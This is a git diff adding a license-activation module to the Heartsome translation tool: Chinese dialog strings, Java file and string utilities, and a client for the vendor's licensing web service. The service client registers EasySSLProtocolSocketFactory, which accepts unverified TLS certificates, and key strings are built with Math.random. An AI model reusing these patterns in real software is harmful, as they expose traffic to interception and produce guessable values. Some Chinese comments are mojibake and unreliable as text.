\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u672c\u8f6f\u4ef6\uff0c\u6216\u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u91cd\u65b0\u8fd0\u884c\u3002\n\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u60a8\u4e5f\u53ef\u4ee5\u5c1d\u8bd5\u91cd\u65b0\u6fc0\u6d3b\u8bb8\u53ef\u8bc1\uff0c\u6216\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.LicenseManageDialog.activeByAdmin = \u6fc0\u6d3b\u5931\u8d25\u3002\u8bf7\u6309\u5982\u4e0b\u6b65\u9aa4\u91cd\u65b0\u8fd0\u884c\u672c\u8f6f\u4ef6\uff1a\n 1\u3001\u53f3\u952e\u5355\u51fb .exe \u6587\u4ef6\uff1b\n 2\u3001\u9009\u62e9\u201c\u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u8fd0\u884c\u201d\u3002 +license.LicenseManageDialog.stopLicense = \u8be5\u8bb8\u53ef\u5e8f\u5217\u53f7\u5df2\u88ab\u7981\u7528\u3002 +license.LicenseManageDialog.noSameVersion = \u5f53\u524d\u7a0b\u5e8f\u7248\u672c\u7c7b\u578b\uff1a{0}\n\u5df2\u6fc0\u6d3b\u7684\u8bb8\u53ef\u8bc1\u7248\u672c\u7c7b\u578b\uff1a{1}\n\u5f53\u524d\u5df2\u6fc0\u6d3b\u7684\u8bb8\u53ef\u8bc1\u4e0e\u5f53\u524d\u4ea7\u54c1\u7248\u672c\u7c7b\u578b\u4e0d\u76f8\u7b26\uff0c\u8bf7\u91cd\u65b0\u6fc0\u6d3b\u4e0e\u5f53\u524d\u4ea7\u54c1\u7248\u672c\u7c7b\u578b\u76f8\u7b26\u7684\u8bb8\u53ef\u8bc1\u3002 +license.LicenseManageDialog.maccodeError = \u8be5\u8bb8\u53ef\u8bc1\u5e76\u975e\u5728\u5f53\u524d\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\uff0c\u6216\u60a8\u5df2\u66f4\u6362\u672c\u8ba1\u7b97\u673a\u7684\u786c\u4ef6\u3002\n\u8bf7\u91cd\u65b0\u5728\u672c\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\u60a8\u7684\u8bb8\u53ef\u8bc1\u3002 +license.LicenseManageDialog.Ultimate = \u65d7\u8230\u7248 +license.LicenseManageDialog.Professional = \u4e13\u4e1a\u7248 +license.LicenseManageDialog.Personal = \u4e2a\u4eba\u7248 +license.LicenseManageDialog.Lite = \u7cbe\u7b80\u7248 +license.LicenseManageDialog.infoInvalid1 = \u60a8\u8f93\u5165\u7684\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u662f{1}\uff0c\u4e0e\u5b89\u88c5\u7684{0}\u4e0d\u76f8\u7b26\uff0c\u8bf7\uff1a\n1\u3001\u786e\u8ba4\u6b63\u786e\u8f93\u5165\u4e86\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\uff0c\u6216\uff1b\n2\u3001\u7533\u8bf7{0}\u8bb8\u53ef\u8bc1\uff0c\u6216\uff1b\n3\u3001\u4e0b\u8f7d{1}\u8f6f\u4ef6\u5305\u3002 +license.LicenseManageDialog.urlr8buy = https://lic.heartsome.net/webbuy/r8buy.jsp?LANG=CN +license.LicenseManageDialog.urlr8trial = https://lic.heartsome.net/webbuy/r8trial.jsp?LANG=CN +license.CustomMessageDialog.urlDownload = http://www.heartsome.net/getdownloads.html?LANG=CN&PRODUCT={0}&PLATFORM={1}&VERSION={2}&utm_source=SoftwareLic&utm_medium=Software&utm_campaign=SoftwareLic +license.CustomMessageDialog.inputAgain = \u91cd\u65b0\u8f93\u5165 +license.CustomMessageDialog.download = \u4e0b\u8f7d\u8f6f\u4ef6 + +license.LicenseManageDialog.netconnection = \u7f51\u7edc\u8fde\u63a5(&N) + +license.ActiveMethodDialog.activemethod = \u6fc0\u6d3b\u65b9\u5f0f +license.ActiveMethodDialog.activeonline = \u5728\u7ebf\u6fc0\u6d3b(&O) +license.ActiveMethodDialog.recommend = \uff08\u63a8\u8350\uff09 +license.ActiveMethodDialog.onlinemessage = \u5728\u7ebf\u6fc0\u6d3b\u53ef\u5728\u6570\u5206\u949f\u4e4b\u5185\u5b8c\u6210\uff0c\u9a6c\u4e0a\u5c31\u53ef\u4ee5\u4f7f\u7528\u3002\u5982\u679c\u60a8\u7684\u8ba1\u7b97\u673a\u5df2\u8fde\u63a5\u5230 Internet\uff0c\u8bf7\u9009\u62e9\u5728\u7ebf\u6fc0\u6d3b\u3002 +license.ActiveMethodDialog.activeoffline = \u79bb\u7ebf\u6fc0\u6d3b(&F) +license.ActiveMethodDialog.offlinemessage = \u79bb\u7ebf\u6fc0\u6d3b\u9700\u8981\u4eba\u5de5\u5904\u7406\uff0c\u901a\u5e38\u9700\u8981\u4e00\u4e2a\u5de5\u4f5c\u65e5\u5de6\u53f3\u624d\u80fd\u5b8c\u6210\u3002\u5982\u679c\u60a8\u7684\u8ba1\u7b97\u673a\u59cb\u7ec8\u65e0\u6cd5\u8fde\u63a5\u5230 Internet\uff0c\u53ef\u9009\u62e9\u79bb\u7ebf\u6fc0\u6d3b\u3002 +license.ActiveMethodDialog.offlinemessage1 = \n\u63d0\u793a\uff1a\n\u5728\u7ebf\u6fc0\u6d3b\u540c\u65f6\u652f\u6301\u8bd5\u7528\u8bb8\u53ef\u8bc1\u548c\u5546\u4e1a\u8bb8\u53ef\u8bc1\uff0c\u79bb\u7ebf\u6fc0\u6d3b\u4ec5\u652f\u6301\u5546\u4e1a\u8bb8\u53ef\u8bc1\u3002 +license.OfflineActiveDialog.operatenavigation = \u79bb\u7ebf\u6fc0\u6d3b\u6b65\u9aa4\uff1a +license.OfflineActiveDialog.inputlicenseid = 1\u3001\u8f93\u5165\u5e8f\u5217\u53f7 +license.OfflineActiveDialog.getactivekey = 2\u3001\u83b7\u53d6\u6fc0\u6d3b\u7801 +license.OfflineActiveDialog.getgrantfile = 3\u3001\u83b7\u53d6\u6388\u6743\u6587\u4ef6 +license.OfflineActiveDialog.activefinish = 4\u3001\u5b8c\u6210\u6fc0\u6d3b +license.OfflineActiveDialog.seperate = > +license.OfflineActiveDialog.licenseIdGroup = \u8f93\u5165\u5e8f\u5217\u53f7 +license.OfflineActiveDialog.backBtn = \u4e0a\u4e00\u6b65(&B) +license.OfflineActiveDialog.getActiveKeyByAdmin = \u83b7\u53d6\u6fc0\u6d3b\u7801\u5931\u8d25\u3002\u8bf7\u4f7f\u7528\u7ba1\u7406\u5458\u8eab\u4efd\u8fd0\u884c\u672c\u8f6f\u4ef6\u3002 +license.OfflineActiveDialog.getActiveKeyFail = \u83b7\u53d6\u6fc0\u6d3b\u7801\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.OfflineActiveDialog.onlyCommercial = \u60a8\u8f93\u5165\u7684\u662f\u8bd5\u7528\u8bb8\u53ef\u8bc1\uff0c\u800c\u79bb\u7ebf\u6fc0\u6d3b\u4ec5\u652f\u6301\u5546\u4e1a\u8bb8\u53ef\u8bc1\u3002\n\u8bf7\u91cd\u65b0\u8f93\u5165\u6709\u6548\u7684\u5546\u4e1a\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u3002 +license.GetActiveKeyDialog.activekey = \u83b7\u53d6\u6fc0\u6d3b\u7801 +license.GetActiveKeyDialog.activemessage = \u8bf7\u5c06\u4ee5\u4e0b\u6fc0\u6d3b\u7801\u590d\u5236\u5230\u90ae\u4ef6\u4e2d\u53d1\u9001\u81f3 licensing@heartsome.net\uff0c\u5373\u53ef\u5b8c\u6210\u201c\u83b7\u53d6\u6388\u6743\u6587\u4ef6\u201d\u3002 +license.GetActiveKeyDialog.ts = licensing@heartsome.net +license.GetActiveKeyDialog.subject = \u6fc0\u6d3b\u7801 +license.GetActiveKeyDialog.notsupport = \u5f53\u524d\u5e73\u53f0\u4e0d\u652f\u6301\u6253\u5f00\u9ed8\u8ba4\u90ae\u4ef6\u5ba2\u6237\u7aef\u3002 +license.GetActiveKeyDialog.activemessage1 = \u5982\u679c\u60a8\u5df2\u6709\u6388\u6743\u6587\u4ef6\uff0c\u8bf7\u76f4\u63a5\u70b9\u51fb\u4e0b\u4e00\u6b65\u3002 +license.GetActiveKeyDialog.copytoclipboard = \u590d\u5236\u5230\u526a\u8d34\u677f +license.SelectGrantFileDialog.grantfile = \u5b8c\u6210\u6fc0\u6d3b +license.SelectGrantFileDialog.grantfile1 = \u6388\u6743\u6587\u4ef6\uff1a +license.SelectGrantFileDialog.scan = \u6d4f\u89c8(&B)... +license.SelectGrantFileDialog.selectgrantfile = \u9009\u62e9\u6388\u6743\u6587\u4ef6 +license.SelectGrantFileDialog.selectfile = \u8bf7\u9009\u62e9\u4ece Heartsome \u83b7\u53d6\u7684\u6388\u6743\u6587\u4ef6\u3002 +license.SelectGrantFileDialog.invalidfile = \u6388\u6743\u6587\u4ef6\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u6548\u7684\u6388\u6743\u6587\u4ef6\u3002\n\u82e5\u60a8\u5df2\u91cd\u65b0\u5b89\u88c5\u64cd\u4f5c\u7cfb\u7edf\u6216\u66f4\u6362\u7535\u8111\uff0c\u8bf7\u91cd\u65b0\u83b7\u53d6\u6fc0\u6d3b\u7801\u5e76\u53d1\u9001\u7ed9 Heartsome\uff0c\u4ee5\u83b7\u53d6\u6700\u65b0\u7684\u6388\u6743\u6587\u4ef6\u3002 +license.SelectGrantFileDialog.invalidfile1 = \u6388\u6743\u6587\u4ef6\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u6548\u7684\u6388\u6743\u6587\u4ef6\u3002 + +## add by jason 2013-09-23 ## +license.InvalidateDialog.title = \u8bb8\u53ef\u8bc1\u7ba1\u7406 +license.InvalidateDialog.activeBtn = \u6fc0\u6d3b(&A) +license.InvalidateDialog.closeBtn = \u5173\u95ed(&C) +license.InvalidateDialog.msg1 = \u8bb8\u53ef\u8bc1\u9a8c\u8bc1\u672a\u901a\u8fc7\u3002\u60a8\u5c06\u53ea\u80fd\u5904\u7406 TU \u6570\u91cf\u4e0d\u8d85\u8fc7 10000 \u4e2a\u7684 TMX \u6587\u4ef6\uff1a +### end ## \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/DateUtils.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/DateUtils.java new file mode 100644 index 0000000..c74c5cd --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/DateUtils.java @@ -0,0 +1,13 @@ +package net.heartsome.license.utils; + +import java.text.SimpleDateFormat; +import java.util.Date; + +public class DateUtils { + + public static String getDate() { + Date date = new Date(); + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + return format.format(date); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/FileUtils.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/FileUtils.java new file mode 100644 index 0000000..8973f3c --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/FileUtils.java @@ -0,0 +1,93 @@ +package net.heartsome.license.utils; + +import java.io.BufferedInputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; + +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; + +public class FileUtils { + + public static boolean writeFile(byte[] b, String fileName) { + try { + DataOutputStream out = new DataOutputStream(new FileOutputStream( + fileName)); + out.write(b); + out.close(); + return true; + } catch (Exception e) { + e.printStackTrace(); + return false; + } + } + + public static byte[] readFile(String fileName) { + try { + DataInputStream in = new DataInputStream(new BufferedInputStream( + new FileInputStream(fileName))); + int n = in.available(); + byte[] t = new byte[n]; + int i = 0; + while (in.available() != 0) { + t[i] = in.readByte(); + i++; + } + in.close(); + return t; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + public static boolean removeFile() { + boolean flag1 = false; + boolean flag2 = false; + File file = new File(ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + file.delete(); + flag1 = true; + } + file = new File(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + file.delete(); + flag2 = true; + } + return flag1 && flag2; + } + + public static void removeFile(String fileName) { + File file = new File(fileName); + if (file.isFile() && file.exists()) { + file.delete(); + + } + } + + public static boolean isExsit() { + boolean flag1 = false; + boolean flag2 = false; + File file = new File(ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + flag1 = true; + } + file = new File(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + flag2 = true; + } + return flag1 && flag2; + } + + public static boolean isExsitInstall() { + boolean flag = false; + File file = new File(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (file.isFile() && file.exists()) { + flag = true; + } + return flag; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/RandomUtils.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/RandomUtils.java new file mode 100644 index 0000000..e4a78ba --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/RandomUtils.java @@ -0,0 +1,20 @@ +package net.heartsome.license.utils; + +public class RandomUtils { + + public static String generateRandom(int num) { + char[] temp = new char[] {'0','1','2','3','4','5','6','7','8','9', + 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', + 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', + 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', + 'T','U','V','W','X','Y','Z'}; + int size = temp.length; + StringBuffer bu = new StringBuffer(); + for (int i = 0; i < num; i++) { + int r = (int)(Math.random() * size); + bu.append(temp[r]); + } + + return bu.toString(); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/StringUtils.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/StringUtils.java new file mode 100644 index 0000000..091f2d7 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/utils/StringUtils.java @@ -0,0 +1,122 @@ +package net.heartsome.license.utils; + +import net.heartsome.license.constants.Constants; + +public class StringUtils { + public static String handle(String key, int interval, int start, int num) { + char[] temp = new char[] {'0','1','2','3','4','5','6','7','8','9', + 'g','h','i','j','k','l','m','n','o','T','U','V','W','X','Y', + 'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D', + 'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S', + 'Z'}; + int size = temp.length; + StringBuffer bu = new StringBuffer(key); + int length = key.length(); + for (int i = start; i < length;) { + for (int j = 0; j < num; j++) { + int r = (int)(Math.random() * size); + bu.insert(i, temp[r]); + } + i += interval + num; + length += num; + } + + return bu.toString(); + + } + + public static String reverse(String key, int interval, int start, int num) { + StringBuffer bu = new StringBuffer(key); + int length = key.length(); + for (int i = start; i < length;) { + for (int j = 0; j < num; j++) { + bu.deleteCharAt(i); + } + i += interval; + length -= num; + } + + return bu.toString(); + + } + + public static String removeColon(String str) { + return str.replaceAll(":", ""); + } + + public static String toHexString(byte[] b) { + StringBuilder sb = new StringBuilder(b.length * 2); + for (int i = 0; i < b.length; i++) { + sb.append(HEXCHAR[(b[i] & 0xf0) >>> 4]); + sb.append(HEXCHAR[b[i] & 0x0f]); + } + return sb.toString(); + } + + public static byte[] toBytes(String s) { + byte[] bytes; + bytes = new byte[s.length() / 2]; + for (int i = 0; i < bytes.length; i++) { + bytes[i] = (byte) Integer.parseInt(s.substring(2 * i, 2 * i + 2), + 16); + } + return bytes; + } + + private static char[] HEXCHAR = { '0', '1', '2', '3', '4', '5', '6', '7', + '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; + + /** + * è®¸å¯ KEY,使用标准的 4 个字符一组,然åŽä½¿ç”¨ - 连接。 + * @return ; + */ + public static String groupString(String str) { + if (str == null || str.length() != 24) { + return str; + } else { + String temp = ""; + for (int i = 0; i < 6; i++) { + temp += str.substring(i * 4, (i + 1) * 4) + "-"; + } + return temp.substring(0, temp.length() - 1); + } + } + + public static String getErrorCode(int i) { + if (i == Constants.EXCEPTION_INT1) { + return Constants.EXCEPTION_STRING1; + } else if (i == Constants.EXCEPTION_INT2) { + return Constants.EXCEPTION_STRING2; + } else if (i == Constants.EXCEPTION_INT3) { + return Constants.EXCEPTION_STRING3; + } else if (i == Constants.EXCEPTION_INT4) { + return Constants.EXCEPTION_STRING4; + } else if (i == Constants.EXCEPTION_INT5) { + return Constants.EXCEPTION_STRING5; + } else if (i == Constants.EXCEPTION_INT6) { + return Constants.EXCEPTION_STRING6; + } else if (i == Constants.EXCEPTION_INT7) { + return Constants.EXCEPTION_STRING7; + } else if (i == Constants.EXCEPTION_INT8) { + return Constants.EXCEPTION_STRING8; + } else if (i == Constants.EXCEPTION_INT9) { + return Constants.EXCEPTION_STRING9; + } else if (i == Constants.EXCEPTION_INT10) { + return Constants.EXCEPTION_STRING10; + } else if (i == Constants.EXCEPTION_INT11) { + return Constants.EXCEPTION_STRING11; + } else if (i == Constants.EXCEPTION_INT12) { + return Constants.EXCEPTION_STRING12; + } else if (i == Constants.EXCEPTION_INT13) { + return Constants.EXCEPTION_STRING13; + } else if (i == Constants.EXCEPTION_INT14) { + return Constants.EXCEPTION_STRING14; + } else if (i == Constants.EXCEPTION_INT15) { + return Constants.EXCEPTION_STRING15; + } else if (i == Constants.EXCEPTION_INT16) { + return Constants.EXCEPTION_STRING16; + } else { + return Constants.EXCEPTION_STRING17; + } + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/webservice/IService.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/webservice/IService.java new file mode 100644 index 0000000..7b7b702 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/webservice/IService.java @@ -0,0 +1,51 @@ +package net.heartsome.license.webservice; + +public interface IService{ + + + public byte[] getServerPublicKey() throws Exception; + + + public String buyLicense(String username, String email,String productInfo); + + /** + * 激活许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€ç¡¬ä»¶æŒ‡çº¹ã€å®‰è£…ç  + * @param clientPublicKey 客户端公钥 + * @return æ¿€æ´»ä¿¡æ¯ + */ + public String activeLicense(String info, byte[] clientPublicKey) throws Exception; + + /** + * 激活许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€ç¡¬ä»¶æŒ‡çº¹ã€å®‰è£…ç  + * @param clientPublicKey 客户端公钥 + * @param osType æ“作系统 + * @return æ¿€æ´»ä¿¡æ¯ + */ + public String activeLicense(String info, byte[] clientPublicKey, String osType) throws Exception; + + /** + * 校验许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€æœ€æ–°çš„硬件指纹 + * @param clientPublicKey 客户端公钥 + * @return æ ¡éªŒä¿¡æ¯ + */ + public String checkLicense(String info, byte[] clientPublicKey) throws Exception; + + /** + * 注销许å¯è¯ + * @param info 客户端信æ¯ï¼ŒåŒ…括许å¯è¯å·ã€æœ€æ–°çš„硬件指纹 + * @param clientPublicKey 客户端公钥 + * @return æ³¨é”€ä¿¡æ¯ + */ + public String logoutLicense(String info, byte[] clientPublicKey) throws Exception; + + + /** + * 获å–试用许å¯è¯çš„截止日期 + * @param key + * @return + */ + public String getTempEndDate(String key, byte[] clientPublicKey) throws Exception; +} \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/webservice/ServiceUtil.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/webservice/ServiceUtil.java new file mode 100644 index 0000000..045c07f --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/webservice/ServiceUtil.java @@ -0,0 +1,208 @@ +package net.heartsome.license.webservice; + +import java.net.MalformedURLException; + +import net.heartsome.license.LicenseReader; +import net.heartsome.license.ProtectionFactory; +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.Encrypt; +import net.heartsome.license.encrypt.InstallKeyEncrypt; +import net.heartsome.license.generator.IKeyGenerator; +import net.heartsome.license.generator.KeyGeneratorImpl; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.utils.StringUtils; + +import java.lang.reflect.Proxy; + +import org.codehaus.xfire.XFireFactory; +import org.codehaus.xfire.client.XFireProxy; +import org.apache.commons.httpclient.protocol.Protocol; +import org.apache.commons.httpclient.protocol.ProtocolSocketFactory; +import org.codehaus.xfire.client.Client; +import org.codehaus.xfire.client.XFireProxyFactory; +import org.codehaus.xfire.service.Service; +import org.codehaus.xfire.service.binding.ObjectServiceFactory; +import org.codehaus.xfire.transport.http.CommonsHttpMessageSender; +import org.codehaus.xfire.transport.http.EasySSLProtocolSocketFactory; +import org.codehaus.xfire.util.dom.DOMOutHandler; +import org.eclipse.swt.widgets.ProgressBar; + +public class ServiceUtil { + private static final String SERVICE_URL ="https://lic.heartsome.net/hswebservices/licenses"; + private static final String SERVICE_NAMESPACE = "licenses.XFire"; + private static final String SERVICE_NAME = "licenses"; + private static final String HTTP_TYPE = "https"; + private static final int PORT = 443; + + public static IService getService() throws MalformedURLException { +// Service srvcModel = new ObjectServiceFactory().create(IService.class); +// XFireProxyFactory factory = new XFireProxyFactory(XFireFactory +// .newInstance().getXFire()); +// +// IService srvc = (IService) factory.create(srvcModel, Constants.CONNECT_URL); +// return srvc; + + ProtocolSocketFactory easy = new EasySSLProtocolSocketFactory(); + Protocol protocol = new Protocol(HTTP_TYPE, easy, PORT); + Protocol.registerProtocol(HTTP_TYPE, protocol); + Service serviceModel = new ObjectServiceFactory().create(IService.class, + SERVICE_NAME, SERVICE_NAMESPACE, null); + + IService service = (IService) new XFireProxyFactory().create(serviceModel, SERVICE_URL); + Client client = ((XFireProxy)Proxy.getInvocationHandler(service)).getClient(); + client.addOutHandler(new DOMOutHandler()); + client.setProperty(CommonsHttpMessageSender.GZIP_ENABLED, Boolean.FALSE); + client.setProperty(CommonsHttpMessageSender.DISABLE_EXPECT_CONTINUE, "1"); + client.setProperty(CommonsHttpMessageSender.HTTP_TIMEOUT, "0"); + + return service; + } + + public static int active(String licenseId, ProgressBar bar) throws Exception { + boolean result = FileUtils.writeFile(new byte[] {'1','1'}, ProtectionFactory.getFileName(0, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT8; + } else { + FileUtils.removeFile(ProtectionFactory.getFileName(0, Constants.PRODUCTID)); + } + + IService srvc = ServiceUtil.getService(); + bar.setSelection(1); + + String series = ProtectionFactory.getSeries(); + if (series == null || "".equals(series)) { + return Constants.EXCEPTION_INT5; + } + + byte[] serverPublicKey = srvc.getServerPublicKey(); + bar.setSelection(2); + + IKeyGenerator gen = new KeyGeneratorImpl(); + byte[] k = gen.generateKey(licenseId, series, serverPublicKey); + if (k == null) { + return Constants.EXCEPTION_INT9; + } + bar.setSelection(3); + Encrypt en = ProtectionFactory.getEncrypt(); + bar.setSelection(4); + String str = srvc.activeLicense(StringUtils.toHexString(k), en.getPublicKey(), ProtectionFactory.getPlatform()); + bar.setSelection(5); + bar.setSelection(6); + byte[] b = StringUtils.toBytes(str); + bar.setSelection(7); + b = en.decrypt(en.getPrivateKey(), b); + if (b == null) { + return Constants.EXCEPTION_INT7; + } + bar.setSelection(8); + + String info = new String(b); + if (Constants.RETURN_INVALIDLICENSE.equals(info)) { + return Constants.RETURN_INVALIDLICENSE_INT; + } else if (Constants.RETURN_INVALIDBUNDLE.equals(info)) { + return Constants.RETURN_INVALIDBUNDLE_INT; + } else if (Constants.RETURN_DBEXCEPTION.equals(info)) { + return Constants.EXCEPTION_INT13; + } else if (Constants.RETURN_MUTILTEMPBUNDLE.equals(info)) { + return Constants.RETURN_MUTILTEMPBUNDLE_INT; + } else if (Constants.RETURN_EXPIREDLICENSE.equals(info)) { + return Constants.RETURN_EXPIREDLICENSE_INT; + } else if (Constants.RETURN_STOPLICENSE.equals(info)) { + return Constants.RETURN_STOPLICENSE_INT; + } else { + result = FileUtils.writeFile(b, ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT12; + } + bar.setSelection(9); + b = InstallKeyEncrypt.encrypt(StringUtils.handle(gen.getInstallKey(), 1, 3, 2).getBytes()); + if (b == null) { + return Constants.EXCEPTION_INT10; + } + result = FileUtils.writeFile(b, ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (!result) { + return Constants.EXCEPTION_INT11; + } + bar.setSelection(10); + + System.getProperties().setProperty("TSState", "true"); + return Constants.ACTIVE_OK_INT; + } + } + + public static int check(String licenseId, String macCode, byte[] b) throws Exception { + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + IKeyGenerator gen = new KeyGeneratorImpl(); + byte[] k = gen.generateKey(licenseId, macCode, new String(b), serverPublicKey); + if (k == null) { + return Constants.EXCEPTION_INT9; + } + + Encrypt en = ProtectionFactory.getEncrypt(); + + String str = srvc.checkLicense(StringUtils.toHexString(k), en.getPublicKey()); + b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + if (b == null) { + return Constants.EXCEPTION_INT7; + } + String info = new String(b); + if (Constants.RETURN_CHECKSUCESS.equals(info)) { + return Constants.STATE_VALID; + } else if (Constants.RETURN_EXPIREDLICENSE.equals(info)) { + return Constants.STATE_EXPIRED; + } else if (Constants.RETURN_MACCODEERR.equals(info)) { + return Constants.EXCEPTION_INT15; + } else { + return Constants.STATE_INVALID; + } + } + + public static int cancel() throws Exception { + byte[] t = FileUtils.readFile(ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (t == null) { + return Constants.LOGOUT_FAIL; + } + + t = new LicenseReader().getLicenseInfo(t); + if (t == null) { + return Constants.LOGOUT_FAIL; + } + + t = StringUtils.reverse(new String(t), 1, 5, 2).getBytes(); + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + Encrypt en = ProtectionFactory.getEncrypt(); + String str = srvc.logoutLicense(StringUtils.toHexString(en.encrypt(serverPublicKey, t)), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + String info = new String(b); + if (Constants.RETURN_LOGOUTSUCESS.equals(info)) { + return FileUtils.removeFile() ? Constants.LOGOUT_SUCCESS : Constants.LOGOUT_FAIL; + } else if (Constants.RETURN_INVALIDLICENSE.equals(info)) { + return FileUtils.removeFile() ? Constants.LOGOUT_SUCCESS : Constants.LOGOUT_FAIL; + } else { + return Constants.LOGOUT_FAIL; + } + } + + public static String getTempEndDate(String key) throws Exception { + if (key == null) { + return null; + } + + IService srvc = ServiceUtil.getService(); + byte[] serverPublicKey = srvc.getServerPublicKey(); + Encrypt en = ProtectionFactory.getEncrypt(); + String str = srvc.getTempEndDate(StringUtils.toHexString(en.encrypt(serverPublicKey, key.getBytes())), en.getPublicKey()); + byte[] b = StringUtils.toBytes(str); + b = en.decrypt(en.getPrivateKey(), b); + key = new String(b); + if (Constants.RETURN_NULLTEMPENDDATE.equals(key)) { + return null; + } else { + return key; + } + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/win_x86_Series_32bit.dll b/base_plugins/net.heartsome.cat.te.qa/win_x86_Series_32bit.dll new file mode 100644 index 0000000..80d8737 Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/win_x86_Series_32bit.dll differ diff --git a/base_plugins/net.heartsome.cat.te.qa/win_x86_Series_64bit.dll b/base_plugins/net.heartsome.cat.te.qa/win_x86_Series_64bit.dll new file mode 100644 index 0000000..deb91ce Binary files /dev/null and b/base_plugins/net.heartsome.cat.te.qa/win_x86_Series_64bit.dll differ diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/.classpath b/base_plugins/net.heartsome.cat.thirdpartlibrary/.classpath new file mode 100644 index 0000000..2a11cc1 --- /dev/null +++ b/base_plugins/net.heartsome.cat.thirdpartlibrary/.classpath @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/.project b/base_plugins/net.heartsome.cat.thirdpartlibrary/.project new file mode 100644 index 0000000..2acfe0e --- /dev/null +++ b/base_plugins/net.heartsome.cat.thirdpartlibrary/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.thirdpartlibrary + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_plugins/net.heartsome.cat.thirdpartlibrary/.settings/org.eclipse.jdt.core.prefs b/base_plugins/net.heartsome.cat.thirdpartlibrary/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..36630b3 --- /dev/null +++ 